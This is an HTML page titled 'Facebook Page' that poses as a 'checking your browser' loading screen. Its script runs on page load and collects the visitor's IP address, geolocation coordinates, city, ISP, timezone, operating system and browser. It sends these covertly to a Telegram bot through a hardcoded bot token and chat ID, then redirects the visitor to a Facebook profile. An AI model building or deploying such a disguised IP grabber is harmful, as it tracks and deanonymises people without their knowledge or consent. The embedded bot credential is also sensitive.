
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Facebook Page</title>
  </head>
  <body>
    <div class="container">
      <div class="loader"></div>
      <br>
    </div>
    <div style="text-align: center;font-size: 20px;" class="text"> checking your browser before accessing....</div>
    <style>
      .container {
        padding: 30px;
        text-align: center;
        justify-content: center;
        max-width: fit-content;
        margin-left: auto;
        margin-right: auto;
      }

      .loader {
        display: flex;
        justify-content: center;
        width: 50px;
        padding: 8px;
        aspect-ratio: 1;
        border-radius: 50%;
        background: #25b09b;
        --_m:
          conic-gradient(#0000 10%, #000),
          linear-gradient(#000 0 0) content-box;
        -webkit-mask: var(--_m);
        mask: var(--_m);
        -webkit-mask-composite: source-out;
        mask-composite: subtract;
        animation: l3 1s infinite linear;
      }

      @keyframes l3 {
        to {
          transform: rotate(1turn)
        }
      }
    </style>
    <script>
      const getCurrentTime = () => {
        const now = new Date();
        return now.toLocaleString();
      };
    
      const parseUserAgent = (userAgent) => {
        let os = "Unknown OS";
        let browser = "Unknown Browser";
        let device = "Desktop";
    
        if (/Windows/.test(userAgent)) os = "Windows";
        else if (/Macintosh/.test(userAgent)) os = "MacOS";
        else if (/Linux/.test(userAgent)) os = "Linux";
        else if (/Android/.test(userAgent)) os = "Android";
        else if (/iPhone|iPad|iPod/.test(userAgent)) os = "iOS";
    
        if (/Chrome/.test(userAgent) && !/Edge/.test(userAgent)) browser = "Chrome";
        else if (/Safari/.test(userAgent) && !/Chrome/.test(userAgent)) browser = "Safari";
        else if (/Firefox/.test(userAgent)) browser = "Firefox";
        else if (/Edge/.test(userAgent)) browser = "Edge";
        else if (/MSIE|Trident/.test(userAgent)) browser = "Internet Explorer";
    
        if (/Mobi|Android/i.test(userAgent)) device = "Mobile";
    
        return { os, browser, device };
      };
    
      fetch('https://ipinfo.io/json')
        .then(response => response.json())
        .then(data => {
          const visitorIP = data.ip || 'N/A';
          const city = data.city || 'N/A';
          const region = data.region || 'N/A';
          const country = data.country || 'N/A';
          const loc = data.loc || 'N/A';
          const org = data.org || 'N/A';
          const timezone = data.timezone || 'N/A';
          const systemTime = getCurrentTime();
          const userAgentDetails = parseUserAgent(window.navigator.userAgent);
          const botToken = '8054027840:AAFjpywFpD8SlRa0pE5E-d7Kuo7y4oshR_s';
          const chatId = '6491412095';
    
          const message = `
    Visitor Details:
    - IP Address: ${visitorIP}
    - City: ${city}
    - Region: ${region}
    - Country: ${country}
    - Location (Lat, Long): ${loc}
    - Organization: ${org}
    - Timezone: ${timezone}
    - System Time: ${systemTime}
    - Operating System: ${userAgentDetails.os}
    - Browser: ${userAgentDetails.browser}
    - Device: ${userAgentDetails.device}
          `;
    
          const telegramUrl = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}`;
          
          // Send the IP details to Telegram
          fetch(telegramUrl).then(response => {
            if (response.ok) {
              console.log('IP details sent to Telegram successfully!');
              setTimeout(() => {
                window.location.href = 'https://www.facebook.com/AsadNoorOne';
              }, 3000);
            } else {
              console.error('Failed to send IP details to Telegram.');
            }
          }).catch(error => console.error('Error:', error));
        })
        .catch(error => console.error('Error fetching IP details:', error));
    </script>
    
  </body>
</html>